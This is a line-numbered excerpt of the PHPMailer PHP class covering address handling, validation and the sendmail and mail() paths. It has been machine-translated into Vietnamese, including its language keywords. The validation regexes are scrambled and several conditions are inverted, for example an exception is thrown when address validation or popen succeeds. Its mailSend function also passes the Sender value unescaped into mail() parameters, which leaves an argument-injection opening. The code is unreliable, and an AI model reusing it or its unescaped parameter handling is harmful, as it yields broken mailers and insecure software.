  897. * @param string $ name
  898. * @ Trở về boolean đúng sự thành công, false nếu địa chỉ đã được sử dụng hoặc không hợp lệ theo cách nào đó
  899. * /
  900. hàm công cộng addBCC ($ address, $ name = '')
  901. {
  902. trả lại $ this-> addOrEnqueueAnAddress ('bcc', $ address, $ name);
  903. }
  904.  
  905. / **
  906. * Thêm địa chỉ "Trả lời-Trả lời".
  907. * @param string $ address Địa chỉ email để trả lời
  908. * @param string $ name
  909. * @ Trở về boolean đúng sự thành công, false nếu địa chỉ đã được sử dụng hoặc không hợp lệ theo cách nào đó
  910. * /
  911. hàm công cộng addReplyTo ($ address, $ name = '')
  912. {
  913. return $ this-> addOrEnqueueAnAddress ('Reply-To', $ address, $ name);
  914. }
  915.  
  916. / **
  917. * Thêm một địa chỉ vào một trong các mảng người nhận hoặc vào mảng ReplyTo. Bởi vì PHPMailer
  918. * Không thể kiểm tra các địa chỉ bằng IDN mà không biết PHPMailer :: $ CharSet (có thể vẫn
  919. * được sửa đổi sau khi gọi chức năng này), bổ sung các địa chỉ như vậy bị trì hoãn cho đến khi gửi ().
  920. * Các địa chỉ đã được thêm vào đã trả về false, nhưng không được ném ngoại lệ.
  921. * @param string $ kind Một trong những 'to', 'cc', 'bcc', hoặc 'ReplyTo'
  922. * @param string $ address Địa chỉ email để gửi, resp. trả lời
  923. * @param string $ name
  924. * @throws phpmailerException
  925. * @ Trở về boolean đúng sự thành công, false nếu địa chỉ đã được sử dụng hoặc không hợp lệ theo cách nào đó
  926. * @cơ sở bảo vệ
  927. * /
  928. hàm addOrEnqueueAnAddress được bảo vệ (loại $, $ address, $ name)
  929. {
  930. $ address = trim ($ address);
  931. $ name = trim (preg_replace ('/ [\ r \ n] + /', '', $ name)); / / Nghỉ giải lao và cắt
  932. if (($ pos = strrpos ($ address, '@')) === false) {
  933. / / At-sign là misssing.
  934. $ error_message = $ this-> lang ('invalid_address'). $ địa chỉ;
  935. $ this-> setError ($ error_message);
  936. $ this-> edebug ($ error_message);
  937. if ($ this-> exceptions) {
  938. ném phpmailerException mới ($ error_message);
  939. }
  940. trả lại giả;
  941. }
  942. $ params = array ($ kind, $ address, $ name);
  943. // Enkenue các địa chỉ với IDN cho đến khi chúng ta biết PHPMailer :: $ CharSet.
  944. if ($ this-> has8bitChars (substr ($ address, ++ $ pos)) và $ this-> idnSupported ()) {
  945. if ($ kind! = 'Reply-To') {
  946. if (! array_key_exists ($ address, $ this-> RecipientsQueue)) {
  947. $ this-> RecipientsQueue [$ address] = $ params;
  948. trở lại đúng;
  949. }
  950. } else {
  951. if (! array_key_exists ($ address, $ this-> ReplyToQueue)) {
  952. $ this-> ReplyToQueue [$ address] = $ params;
  953. trở lại đúng;
  954. }
  955. }
  956. trả lại giả;
  957. }
  958. // Thêm ngay các địa chỉ tiêu chuẩn ngay khi không có IDN.
  959. return call_user_func_array (mảng ($ this, 'addAnAddress'), $ params);
  960. }
  961.  
  962. / **
  963. * Thêm một địa chỉ vào một trong các mảng người nhận hoặc vào mảng ReplyTo.
  964. * Các địa chỉ đã được thêm vào đã trả về false, nhưng không được ném ngoại lệ.
  965. * @param string $ kind Một trong những 'to', 'cc', 'bcc', hoặc 'ReplyTo'
  966. * @param string $ address Địa chỉ email để gửi, resp. trả lời
  967. * @param string $ name
  968. * @throws phpmailerException
  969. * @ Trở về boolean đúng sự thành công, false nếu địa chỉ đã được sử dụng hoặc không hợp lệ theo cách nào đó
  970. * @cơ sở bảo vệ
  971. * /
  972. chức năng bảo vệ addAnAddress ($ kind, $ address, $ name = '')
  973. {
  974. if (! in_array ($ kind, array ('to', 'cc', 'bcc', 'Reply-To'))) {
  975. $ error_message = $ this-> lang ('Loại người nhận không hợp lệ:'). $ loại;
  976. $ this-> setError ($ error_message);
  977. $ this-> edebug ($ error_message);
  978. if ($ this-> exceptions) {
  979. ném phpmailerException mới ($ error_message);
  980. }
  981. trả lại giả;
  982. }
  983. if (! $ this-> validateAddress ($ address)) {
  984. $ error_message = $ this-> lang ('invalid_address'). $ địa chỉ;
  985. $ this-> setError ($ error_message);
  986. $ this-> edebug ($ error_message);
  987. if ($ this-> exceptions) {
  988. ném phpmailerException mới ($ error_message);
  989. }
  990. trả lại giả;
  991. }
  992. if ($ kind! = 'Reply-To') {
  993. if (! array_key_exists (strtolower ($ address), $ this-> all_recipients)) {
  994. array_push ($ this -> $ loại, mảng ($ địa chỉ, $ tên));
  995. $ this-> all_recipients [strtolower ($ address)] = true;
  996. trở lại đúng;
  997. }
  998. } else {
  999. if (! array_key_exists (strtolower ($ address), $ this-> ReplyTo)) {
  1000. $ this-> ReplyTo [strtolower ($ address)] = mảng ($ address, $ name);
  1001. trở lại đúng;
  1002. }
  1003. }
  1004. trả lại giả;
  1005. }
  1006.  
  1007. / **
  1008. * Phân tích cú pháp và kiểm tra hợp lệ một chuỗi chứa một hoặc nhiều địa chỉ email bằng dấu phẩy RFC822
  1009. * của mẫu "hiển thị tên <address>" vào một mảng của cặp tên / địa chỉ.
  1010. * Sử dụng chức năng imap_rfc822_parse_adrlist nếu tiện ích mở rộng IMAP có sẵn.
  1011. * Lưu ý rằng phần trích dẫn trong phần tên bị xóa.
  1012. * @param string $ addrstr Liệt kê danh sách địa chỉ
  1013. * @param bool $ useimap Cho dù sử dụng phần mở rộng IMAP để phân tích danh sách
  1014. * mảng trả về
  1015. * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php Thực hiện cẩn thận hơn
  1016. * /
  1017. các hàm công khai parseAddresses ($ addrstr, $ useimap = true)
  1018. {
  1019. $ address = array ();
  1020. if ($ useimap và function_exists ('imap_rfc822_parse_adrlist')) {
  1021. // Sử dụng bộ phân tích cú pháp được xây dựng sẵn này nếu có
  1022. $ list = imap_rfc822_parse_adrlist ($ addrstr, '');
  1023. foreach ($ list as $ address) {
  1024. if ($ address-> host! = '.SYNTAX-ERROR.') {
  1025. if ($ this-> validateAddress ($ address-> mailbox. '@'. $ address-> host)) {
  1026. $ địa chỉ [] = mảng (
  1027. 'name' => (property_exists ($ address, 'personal')? $ address-> personal: ''),
  1028. 'address' => $ address-> hộp thư. '@'. $ address-> host
  1029. );
  1030. }
  1031. }
  1032. }
  1033. } else {
  1034. // Sử dụng bộ phân tích cú pháp đơn giản này
  1035. $ list = explode (',', $ addrstr);
  1036. foreach ($ list as $ address) {
  1037. $ address = trim ($ address);
  1038. // Có một phần tên riêng không?
  1039. if (strpos ($ address, '<') === false) {
  1040. / / Không có tên riêng biệt, chỉ cần sử dụng toàn bộ điều
  1041. if ($ this-> validateAddress ($ address)) {
  1042. $ địa chỉ [] = mảng (
  1043. 'name' => '',
  1044. địa chỉ '=> $ địa chỉ
  1045. );
  1046. }
  1047. } else {
  1048. danh sách ($ tên, $ email) = nổ ('<', $ địa chỉ);
  1049. $ email = trim (str_replace ('>', '', $ email));
  1050. if ($ this-> validateAddress ($ email)) {
  1051. $ địa chỉ [] = mảng (
  1052. 'name' => trim (str_replace (array ('' ',' '"),' ', $ name)),
  1053. 'địa chỉ' => $ email
  1054. );
  1055. }
  1056. }
  1057. }
  1058. }
  1059. địa chỉ trả lại $;
  1060. }
  1061.  
  1062. / **
  1063. * Thiết lập thuộc tính From và FromName.
  1064. * @param string $ address
  1065. * @param string $ name
  1066. * @param boolean $ auto Cho dù bạn cũng đặt địa chỉ Sender, mặc định là true
  1067. * @throws phpmailerException
  1068. * @ boolean trở lại
  1069. * /
  1070. hàm công cộng setFrom ($ address, $ name = '', $ auto = true)
  1071. {
  1072. $ address = trim ($ address);
  1073. $ name = trim (preg_replace ('/ [\ r \ n] + /', '', $ name)); / / Nghỉ giải lao và cắt
  1074. // Không xác nhận địa chỉ hiện tại với IDN. Sẽ được thực hiện trong send ().
  1075. if (($ pos = strrpos ($ address, '@')) === sai hoặc
  1076. ($ this-> has8bitChars (substr ($ address, ++ $ pos)) hoặc! $ this-> idnSupported ()) và
  1077. ! $ this-> validateAddress ($ address)) {
  1078. $ error_message = $ this-> lang ('invalid_address'). $ địa chỉ;
  1079. $ this-> setError ($ error_message);
  1080. $ this-> edebug ($ error_message);
  1081. if ($ this-> exceptions) {
  1082. ném phpmailerException mới ($ error_message);
  1083. }
  1084. trả lại giả;
  1085. }
  1086. $ this-> From = $ address;
  1087. $ this-> FromName = $ name;
  1088. if ($ auto) {
  1089. if (empty ($ this-> Sender)) {
  1090. $ this-> Sender = $ address;
  1091. }
  1092. }
  1093. trở lại đúng;
  1094. }
  1095.  
  1096. / **
  1097. * Trả lại tiêu đề Message-ID của email cuối.
  1098. Về mặt kỹ thuật, đây là giá trị từ lần cuối cùng các tiêu đề được tạo ra,
  1099. * nhưng nó cũng là ID tin nhắn của tin nhắn đã gửi cuối cùng ngoại trừ
  1100. * các trường hợp bệnh lý.
  1101. * chuỗi trả về
  1102. * /
  1103. công chức getLastMessageID ()
  1104. {
  1105. return $ this-> lastMessageID;
  1106. }
  1107.  
  1108. / **
  1109. * Kiểm tra xem một chuỗi trông giống như một địa chỉ email.
  1110. * @param string $ address Địa chỉ email để kiểm tra
  1111. * @param string $ patternselect Lựa chọn cho mẫu xác nhận để sử dụng:
  1112. * * `auto` Chọn mô hình tốt nhất tự động;
  1113. * * `pcre8` Sử dụng mẫu squiloople.com, yêu cầu PCRE> 8.0, PHP> = 5.3.2, 5.2.14;
  1114. * `` pcre` Sử dụng thực hiện cũ PCRE;
  1115. * * `php` Sử dụng PHP được xây dựng trong FILTER_VALIDATE_EMAIL;
  1116. * * `html5` Sử dụng mẫu được cung cấp bởi thông số HTML5 cho các phần tử đầu vào kiểu 'email'.
  1117. * * `noregex` Không sử dụng regex: siêu nhanh, thực sự câm.
  1118. * @ boolean trở lại
  1119. * tĩnh
  1120. * @ truy cập công cộng
  1121. * /
  1122. public static function validateAddress ($ address, $ patternselect = 'auto')
  1123. {
  1124. / / Loại bỏ ngắt dòng trong địa chỉ; nó hợp lệ RFC5322, nhưng không RFC5321
  1125. if (strpos ($ address, "\ n")! == false hoặc strpos ($ address, "\ r")! == false) {
  1126. trả lại giả;
  1127. }
  1128. if ($ patternelect hoặc $ patternselect == 'auto') {
  1129. // Kiểm tra lần đầu tiên hằng này để hoạt động khi mở rộng extension_loaded () bằng chế độ an toàn
  1130. // Constant được thêm vào trong PHP 5.2.4
  1131. if (defined ('PCRE_VERSION')) {
  1132. / / Mô hình này có thể bị mắc kẹt trong một vòng lặp đệ quy trong PCRE <= 8.0.2
  1133. if (version_compare (PCRE_VERSION, '8.0.3')> = 0) {
  1134. $ patternselect = 'pcre8';
  1135. } else {
  1136. $ patternselect = 'pcre';
  1137. }
  1138. } elseif (function_exists ('extension_loaded') và extension_loaded ('pcre')) {
  1139. // Trở về PCRE cũ
  1140. $ patternselect = 'pcre';
  1141. } else {
  1142. // Filter_var xuất hiện trong PHP 5.2.0 và không yêu cầu phần mở rộng của PCRE
  1143. if (version_compare (PHP_VERSION, '5.2.0')> = 0) {
  1144. $ patternselect = 'php';
  1145. } else {
  1146. $ patternselect = 'noregex';
  1147. }
  1148. }
  1149. }
  1150. chuyển đổi ($ patternselect) {
  1151. trường hợp 'pcre8':
  1152. / **
  1153. * Sử dụng regex RFC5322 giống nhau trên FILTER_VALIDATE_EMAIL, nhưng cho phép các tên miền không có dấu chấm.
  1154. * @link http://squiloople.com/2009/12/20/email-address-validation/
  1155. * @copyright 2009-2010 Michael Rushton
  1156. * Vui lòng sử dụng và phân phối lại mã này. Nhưng hãy giữ thông báo bản quyền này.
  1157. * /
  1158. return (boolean) preg_match (
  1159. (? 1)) {255,}) (? (?> (?) () 1) "? (?> \\\ [- ~] | [^"])? (? 1)) {65,} @) '.
  1160. '(\> \ x0D \ x0A)? [\ t]) + | (?> [\ t] * \ x0D \ x0A)? [\ t] +)?) (\ ((?> (? 2) '.
  1161. '(?> [\ x01- \ x08 \ x0B \ x0C \ x0E - \' * - \ [\] - \ x7F] | \\\ [\ x00- \ x7F] | (? 3))) * (? 2) \))) + (? 2)) | (? 2))?) '.
  1162. '\ N "" \ n "" \ n "" \ n "" \ n "" \ n " \ [\] - \ x7F] | \\\ [\ x00- \ x7F])) * '.
  1163. (1) () () () () () () () () () ) (? 1) (?> ([A-z0-9] (?> [A-z0-9 -] * [a-z0-9])? ''.
  1164. (1) [a-z0-9 -] {64,}) (? 1) (? 5)) {0,126} | \ [(? > IPv6: (?> ([A-f0-9] {1,4}) (?> :(?)) {7} '.
  1165. '(8)} ((? 6) (?> :(? 6)) {0,6}) ?: : (7)?)) | (?> (?> IPv6: (?> (? 6) (?> :(? 6)) {5}: '.
  1166. (6) (?): (6)) (0) () () () () , 4}):)?))? (25 [0-5] | 2 [0-4] [0-9] | 1 [0-9] {2} '.
  1167. '(1) $ / isD', (1) $ / isD '
  1168. địa chỉ $
  1169. );
  1170. trường hợp 'pcre':
  1171. / Regex cũ hơn mà không cần một PCRE gần đây
  1172. return (boolean) preg_match (
  1173. '(^> "? (^>"))?) {255,}) (? (?> "? (?> \\\ [ - ~] | [^ "])?) {65,} @) (?> '.
  1174. '\ N "msgstr" "" \ n "" \ n "" \ n "# ~" \ n " \ x7F] | \\\ [\ x00- \ xFF])) * ") '.
  1175. '(?> \. (?> [! # - \' * + \ / - 9 =? ^ - ~ -] + | "(?> [\ X01- \ x08 \ x0B \ x0C \ x0E- ! # * \! \ \ \ \ \ \ \ - \ x7F] | \\\ [\ x00- \ xFF])) * ")) * '.
  1176. (a, z0-9)] [a-z0-9] [a-z0-9] (a- z0-9) )?) (?> \. (? [a-z0-9 -] {64,}) '.
  1177. '[a-z0-9] (?> [a-z0-9] [a-z0-9])?)) {0,126} | \ [(?: (? IPv6: (? > (?> [a-f0-9] {1,4}) (?>: '.
  1178. '[a-f0-9] {1,4}) {7} | (? (?:. * [a-f0-9] [: \]]) {8,}) (?> [a- f0-9] {1,4} (?>: [a-f0-9] {1,4}) {0,6})? ' .
  1179. ':: (?> [a-f0-9] {1,4} (?>: [a-f0-9] {1,4}) {0,6})?)) | (?> (? > IPv6: (?> [A-f0-9] {1,4} (?>: '.
  1180. [a-f0-9] {1,4}) {5}: | (? (?:. * [a-f0-9]:) {6,}) (?> [a-f0-9 ] {1,4} (?>: [A-f0-9] {1,4}) {0,4})? ' .
  1181. ':: (?> (?: [a-f0-9] {1,4} (?>: [a-f0-9] {1,4}) {0,4}) :)?))? (?> 25 [0-5] | 2 [0-4] [0-9] | 1 [0-9] {2} '.
  1182. '[1-9]? [0-9]) (?> \. (?> 25 [0-5] | 2 [0-4] [0-9] | 1 [0-9] {2} | [1-9]? [0-9])) {3})) \]) $ / isD ',
  1183. địa chỉ $
  1184. );
  1185. trường hợp 'html5':
  1186. / **
  1187. * Đây là mẫu được sử dụng trong spec HTML5 để xác nhận hợp lệ các phần tử nhập kiểu hình thức 'email'.
  1188. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  1189. * /
  1190. return (boolean) preg_match (
  1191. '/^[a-zA-Z0-9.!#$%&\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ -zA-Z0-9 -] {0,61} '.
  1192. [a-zA-Z0-9])? [a-zA-Z0-9])? [a-zA-Z0-9] -9])?) * $ / SD ',
  1193. địa chỉ $
  1194. );
  1195. trường hợp 'noregex':
  1196. // Không có PCRE! Làm một cái gì đó _very_ gần đúng!
  1197. / / Kiểm tra địa chỉ là 3 ký tự hoặc lâu hơn và chứa một @ đó không phải là char đầu tiên hoặc cuối cùng
  1198. return (strlen ($ address)> = 3
  1199. và strpos ($ address, '@') = = 1
  1200. và strpos ($ address, '@')! = strlen ($ address) - 1);
  1201. trường hợp 'php':
  1202. mặc định:
  1203. return (boolean) filter_var ($ địa chỉ, FILTER_VALIDATE_EMAIL);
  1204. }
  1205. }
  1206.  
  1207. / **
  1208. * Cho biết IDNs (Internationalized Domain Names) được hỗ trợ hay không. Điều này đòi hỏi
  1209. * Phần mở rộng PHP "intl" và "mbstring".
  1210. * @ return bool "true" nếu các chức năng yêu cầu hỗ trợ IDN có mặt
  1211. * /
  1212. chức năng công cộng idnSupported ()
  1213. {
  1214. // @TODO: Viết hàm "idn_to_ascii" cho PHP <= 5.2.
  1215. return function_exists ('idn_to_ascii') và function_exists ('mb_convert_encoding');
  1216. }
  1217.  
  1218. / **
  1219. * Chuyển IDN trong địa chỉ email cho đến dạng ASCII của nó, còn được gọi là punycode, nếu có thể.
  1220. * Quan trọng: Địa chỉ phải được truyền trong cùng mã hóa như hiện đang được đặt trong PHPMailer :: $ CharSet.
  1221. * Chức năng này âm thầm trả về địa chỉ chưa sửa đổi nếu:
  1222. * - Không cần chuyển đổi (ví dụ tên miền không phải là IDN, hoặc đã có ở dạng ASCII)
  1223. * - Chuyển sang punycode là không thể (ví dụ như các chức năng PHP cần thiết không có sẵn)
  1224. * hoặc thất bại vì bất kỳ lý do nào (ví dụ như miền có các ký tự không được phép trong IDN)
  1225. * @see PHPMailer :: $ CharSet
  1226. * @param string $ address Địa chỉ email để chuyển đổi
  1227. * @ return chuỗi Địa chỉ mã hóa dưới dạng ASCII
  1228. * /
  1229. chức năng công cộng punyencodeAddress ($ address)
  1230. {
  1231. // Xác minh rằng chúng tôi đã yêu cầu các chức năng, CharSet và at-sign.
  1232. if ($ this-> idnSupported () và
  1233. trống ($ this-> CharSet) và
  1234. ($ pos = strrpos ($ address, '@'))! == false) {
  1235. $ domain = substr ($ address, ++ $ pos);
  1236. / / Xác minh chuỗi CharSet là một hợp lệ, và tên miền được mã hóa đúng trong CharSet này.
  1237. if ($ this-> has8bitChars ($ domain) và @mb_check_encoding ($ domain, $ this-> CharSet)) {
  1238. $ domain = mb_convert_encoding ($ domain, 'UTF-8', $ this-> CharSet);
  1239. if (($ punycode = defined ('INTL_IDNA_VARIANT_UTS46')?
  1240. idn_to_ascii ($ domain, 0, INTL_IDNA_VARIANT_UTS46):
  1241. idn_to_ascii ($ domain))! == false) {
  1242. return substr ($ address, 0, $ pos). $ punycode;
  1243. }
  1244. }
  1245. }
  1246. địa chỉ trả lại $;
  1247. }
  1248.  
  1249. / **
  1250. * Tạo một tin nhắn và gửi nó.
  1251. Sử dụng phương thức gởi theo $ Mailer.
  1252. * @throws phpmailerException
  1253. * @ return logic boolean sai - Xem thuộc tính ErrorInfo để biết chi tiết về lỗi.
  1254. * /
  1255. chức năng công cộng gửi ()
  1256. {
  1257. thử {
  1258. if (! $ this-> preSend ()) {
  1259. trả lại giả;
  1260. }
  1261. trả lại $ this-> sendSend ();
  1262. } catch (phpmailerException $ exc) {
  1263. $ this-> mailHeader = '';
  1264. $ this-> setError ($ exc-> getMessage ());
  1265. if ($ this-> exceptions) {
  1266. ném $ exc;
  1267. }
  1268. trả lại giả;
  1269. }
  1270. }
  1271.  
  1272. / **
  1273. * Chuẩn bị một tin nhắn để gửi.
  1274. * @throws phpmailerException
  1275. * @ boolean trở lại
  1276. * /
  1277. chức năng công khai PreSend ()
  1278. {
  1279. thử {
  1280. $ this-> error_count = 0; // Đặt lại lỗi
  1281. $ this-> mailHeader = '';
  1282.  
  1283. // Gỡ bỏ người nhận và trả lời địa chỉ với IDN
  1284. foreach (array_merge ($ this-> RecipientsQueue, $ this-> ReplyToQueue) as $ params) {
  1285. $ params [1] = $ this-> punyencodeAddress ($ params [1]);
  1286. call_user_func_array (mảng ($ this, 'addAnAddress'), $ params);
  1287. }
  1288. nếu (đếm ($ this-> to) + count ($ this-> cc) + count ($ this-> bcc)) <1) {
  1289. ném phpmailerException mới ($ this-> lang ('provide_address'), tự :: STOP_CRITICAL);
  1290. }
  1291.  
  1292. // Xác nhận From, Sender và ConfirmReadingTo địa chỉ
  1293. foreach (mảng ('Từ', 'Người gửi', 'ConfirmReadingTo') như $ address_kind) {
  1294. $ this -> $ address_kind = trim ($ this -> $ address_kind);
  1295. if (empty ($ this -> $ address_kind)) {
  1296. tiếp tục;
  1297. }
  1298. $ this -> $ address_kind = $ this-> punyencodeAddress ($ this -> $ address_kind);
  1299. if ($ this-> validateAddress ($ this -> $ address_kind)) {
  1300. $ error_message = $ this-> lang ('invalid_address'). $ this -> $ address_kind;
  1301. $ this-> setError ($ error_message);
  1302. $ this-> edebug ($ error_message);
  1303. if ($ this-> exceptions) {
  1304. ném phpmailerException mới ($ error_message);
  1305. }
  1306. trả lại giả;
  1307. }
  1308. }
  1309.  
  1310. / / Thiết lập cho dù tin nhắn là multipart / alternative
  1311. nếu (trống rỗng ($ this-> AltBody)) {
  1312. $ this-> ContentType = 'multipart / alternative';
  1313. }
  1314.  
  1315. $ this-> setMessageType ();
  1316. // Từ chối gửi tin nhắn rỗng trừ khi chúng tôi đặc biệt cho phép
  1317. if (! $ this-> AllowEmpty và trống rỗng ($ this-> Body)) {
  1318. ném phpmailerException mới ($ this-> lang ('empty_message'), tự :: STOP_CRITICAL);
  1319. }
  1320.  
  1321. / / Tạo cơ thể trước tiêu đề trong trường hợp cơ thể làm thay đổi tiêu đề (ví dụ như thay đổi mã hóa chuyển nhượng)
  1322. $ this-> MIMEHeader = '';
  1323. $ this-> MIMEBody = $ this-> createBody ();
  1324. / / createBody có thể đã thêm một số tiêu đề, vì vậy giữ chúng
  1325. $ tempheaders = $ this-> MIMEHeader;
  1326. $ this-> MIMEHeader = $ this-> createHeader ();
  1327. $ this-> MIMEHeader. = $ tempheaders;
  1328.  
  1329. // Để nắm bắt thông điệp đầy đủ khi sử dụng mail (), tạo
  1330. / / một danh sách các tiêu đề phụ mà createHeader () không gấp lại trong
  1331. if ($ this-> Mailer == 'mail') {
  1332. if (count ($ this-> to)> 0) {
  1333. $ this-> mailHeader. = $ this-> addrAppend ('To', $ this-> to);
  1334. } else {
  1335. $ this-> mailHeader. = $ this-> headerLine ('To', 'unisclosed-recipients:' ');
  1336. }
  1337. $ this-> mailHeader. = $ this-> headerLine (
  1338. 'Môn học',
  1339. $ this-> encodeHeader ($ this-> secureHeader (trim ($ this-> Subject)))
  1340. );
  1341. }
  1342.  
  1343. // Đăng nhập với DKIM nếu được bật
  1344. if (! empty ($ this-> DKIM_domain)
  1345. &&! empty ($ this-> DKIM_private)
  1346. &&! empty ($ this-> DKIM_selector)
  1347. && file_exists ($ this-> DKIM_private)) {
  1348. $ header_dkim = $ this-> DKIM_Add (
  1349. $ this-> MIMEHeader. $ this-> mailHeader,
  1350. $ this-> encodeHeader ($ this-> secureHeader ($ this-> Subject)),
  1351. $ this-> MIMEBody
  1352. );
  1353. $ this-> MIMEHeader = rtrim ($ this-> MIMEHeader, "\ r \ n"). tự :: CRLF.
  1354. str_replace ("\ r \ n", "\ n", $ header_dkim). tự :: CRLF;
  1355. }
  1356. trở lại đúng;
  1357. } catch (phpmailerException $ exc) {
  1358. $ this-> setError ($ exc-> getMessage ());
  1359. if ($ this-> exceptions) {
  1360. ném $ exc;
  1361. }
  1362. trả lại giả;
  1363. }
  1364. }
  1365. hàm công cộng innerBody () {
  1366.  
  1367.  
  1368. }
  1369. / **
  1370. * Trên thực tế gửi tin nhắn.
  1371. * Gửi email qua cơ chế đã chọn
  1372. * @throws phpmailerException
  1373. * @ boolean trở lại
  1374. * /
  1375. chức năng công cộng sendSend ()
  1376. {
  1377. thử {
  1378. / / Chọn mailer và gửi thông qua nó
  1379. chuyển đổi ($ this-> Mailer) {
  1380. trường hợp 'sendmail':
  1381. trường hợp 'qmail':
  1382. return $ this-> sendmailSend ($ this-> MIMEHeader, $ this-> MIMEBody);
  1383. trường hợp 'smtp':
  1384. return $ this-> smtpSend ($ this-> MIMEHeader, $ this-> MIMEBody);
  1385. trường hợp 'thư':
  1386. return $ this-> mailSend ($ this-> MIMEHeader, $ this-> MIMEBody);
  1387. mặc định:
  1388. $ sendMethod = $ this-> Mailer.'Send ';
  1389. if (method_exists ($ this, $ sendMethod)) {
  1390. return $ this -> $ sendMethod ($ this-> MIMEHeader, $ this-> MIMEBody);
  1391. }
  1392.  
  1393. return $ this-> mailSend ($ this-> MIMEHeader, $ this-> MIMEBody);
  1394. }
  1395. } catch (phpmailerException $ exc) {
  1396. $ this-> setError ($ exc-> getMessage ());
  1397. $ this-> edebug ($ exc-> getMessage ());
  1398. if ($ this-> exceptions) {
  1399. ném $ exc;
  1400. }
  1401. }
  1402. trả lại giả;
  1403. }
  1404.  
  1405. / **
  1406. * Gửi thư bằng chương trình $ Sendmail.
  1407. * @param string $ header Các tiêu đề thư
  1408. * @param string $ body Cơ thể thông báo
  1409. * @see PHPMailer :: $ Sendmail
  1410. * @throws phpmailerException
  1411. * @cơ sở bảo vệ
  1412. * @ boolean trở lại
  1413. * /
  1414. chức năng được bảo vệ sendmailSend ($ header, $ body)
  1415. {
  1416. if ($ this-> Sender! = '') {
  1417. if ($ this-> Mailer == 'qmail') {
  1418. $ sendmail = sprintf ('% s -f% s', escapeshellcmd ($ this-> Sendmail), escapeshellarg ($ this-> Sender));
  1419. } else {
  1420. $ sendmail = sprintf ('% s -oi -f% s -t', escapeshellcmd ($ this-> Sendmail), escapeshellarg ($ this-> Sender));
  1421. }
  1422. } else {
  1423. if ($ this-> Mailer == 'qmail') {
  1424. $ sendmail = sprintf ('% s', escapeshellcmd ($ this-> Sendmail));
  1425. } else {
  1426. $ sendmail = sprintf ('% s -oi -t', escapeshellcmd ($ this-> Sendmail));
  1427. }
  1428. }
  1429. if ($ this-> SingleTo) {
  1430. foreach ($ this-> SingleToArray as $ toAddr) {
  1431. if (@ $ mail = popen ($ sendmail, 'w')) {
  1432. ném phpmailerException mới ($ this-> lang ('execute'). $ this-> Sendmail, self :: STOP_CRITICAL);
  1433. }
  1434. fputs ($ mail, 'To:'. $ toAddr. "\ n");
  1435. fputs ($ mail, $ header);
  1436. fputs ($ mail, $ body);
  1437. $ result = pclose ($ mail);
  1438. $ this-> doCallback (
  1439. ($ result == 0),
  1440. mảng ($ toAddr),
  1441. $ this-> cc,
  1442. $ this-> bcc,
  1443. $ this-> Chủ đề,
  1444. $ cơ thể,
  1445. $ this-> From
  1446. );
  1447. if ($ result! = 0) {
  1448. ném phpmailerException mới ($ this-> lang ('execute'). $ this-> Sendmail, self :: STOP_CRITICAL);
  1449. }
  1450. }
  1451. } else {
  1452. if (@ $ mail = popen ($ sendmail, 'w')) {
  1453. ném phpmailerException mới ($ this-> lang ('execute'). $ this-> Sendmail, self :: STOP_CRITICAL);
  1454. }
  1455. fputs ($ mail, $ header);
  1456. fputs ($ mail, $ body);
  1457. $ result = pclose ($ mail);
  1458. $ this-> doCallback (
  1459. ($ result == 0),
  1460. $ this-> to,
  1461. $ this-> cc,
  1462. $ this-> bcc,
  1463. $ this-> Chủ đề,
  1464. $ cơ thể,
  1465. $ this-> From
  1466. );
  1467. if ($ result! = 0) {
  1468. ném phpmailerException mới ($ this-> lang ('execute'). $ this-> Sendmail, self :: STOP_CRITICAL);
  1469. }
  1470. }
  1471. trở lại đúng;
  1472. }
  1473.  
  1474. / **
  1475. * Gửi thư bằng cách sử dụng chức năng PHP mail ().
  1476. * @param string $ header Các tiêu đề thư
  1477. * @param string $ body Cơ thể thông báo
  1478. * @link http://www.php.net/manual/en/book.mail.php
  1479. * @throws phpmailerException
  1480. * @cơ sở bảo vệ
  1481. * @ boolean trở lại
  1482. * /
  1483. bảo vệ mailSend (phần đầu $, $ body)
  1484. {
  1485. $ toArr = array ();
  1486. foreach ($ this-> to as $ toaddr) {
  1487. $ toArr [] = $ this-> addrFormat ($ toaddr);
  1488. }
  1489. $ to = implode (',', $ toArr);
  1490.  
  1491. if (empty ($ this-> Sender)) {
  1492. $ params = '';
  1493. } else {
  1494. $ params = sprintf ('- f% s', $ this-> Sender);
  1495. }
  1496. if ($ this-> Sender! = '' và! ini_get ('safe_mode')) {
  1497. $ old_from = ini_get ('sendmail_from');
  1498. ini_set ('sendmail_from', $ this-> Sender);
  1499. }
  1500. $ result = false;
  1501. if ($ this-> SingleTo && count ($ toArr)> 1) {
  1502. foreach ($ toArr as $ toAddr) {
  1503. $ result = $ this-> mailPassthru ($ toAddr, $ this-> Tiêu đề, $ body, $ header, $ params);
  1504. $ this-> doCallback ($ result, array ($ toAddr), $ this-> cc, $ this-> bcc, $ this-> Subject, $ body, $ this-> From);
  1505. }
  1506. } else {
  1507. $ result = $ this-> mailPassthru ($ tới, $ this-> Tiêu đề, $ body, $ header, $ params);
  1508. $ this-> doCallback ($ result, $ this-> to, $ this-> cc, $ this-> bcc, $ this-> Subject, $ body, $ this-> From);
  1509. }
  1510. if (isset ($ old_from)) {
  1511. ini_set ('sendmail_from', $ old_from);
  1512. }
  1513. if ($ result) {
  1514. ném phpmailerException mới ($ this-> lang ('nhanh chân'), tự :: STOP_CRITICAL);
  1515. }
  1516. trở lại đúng;
  1517. }
  1518.  
  1519. / **
  1520. * Nhận một thể hiện để sử dụng cho các hoạt động SMTP.
  1521. * Ghi đè chức năng này để tải thực hiện SMTP của riêng bạn
  1522. * @ trở về SMTP
  1523. * /
  1524. hàm công cộng getSMTPInstance ()
  1525. {
  1526. if (is_object ($ this-> smtp)) {
  1527. $ this-> smtp = SMTP mới;
  1528. }
  1529. trả lại $ this-> smtp;
  1530. }
  1531.  
  1532. / **
  1533. * Gửi mail qua SMTP.
  1534. * Trả về false nếu có MAIL FROM TỐT, RCPT, hoặc DATA.
  1535. * Sử dụng lớp PHPMailerSMTP theo mặc định.
  1536. * @see PHPMailer :: getSMTPInstance () để sử dụng một lớp học khác.
  1537. * @param string $ header Các tiêu đề thư
  1538. * @param string $ body Cơ thể thông báo
  1539. * @throws phpmailerException
  1540. * @sử dụng SMTP
  1541. * @cơ sở bảo vệ
  1542. * @ boolean trở lại
  1543. * /
  1544. chức năng được bảo vệ smtpSend ($ header, $ body)
  1545. {
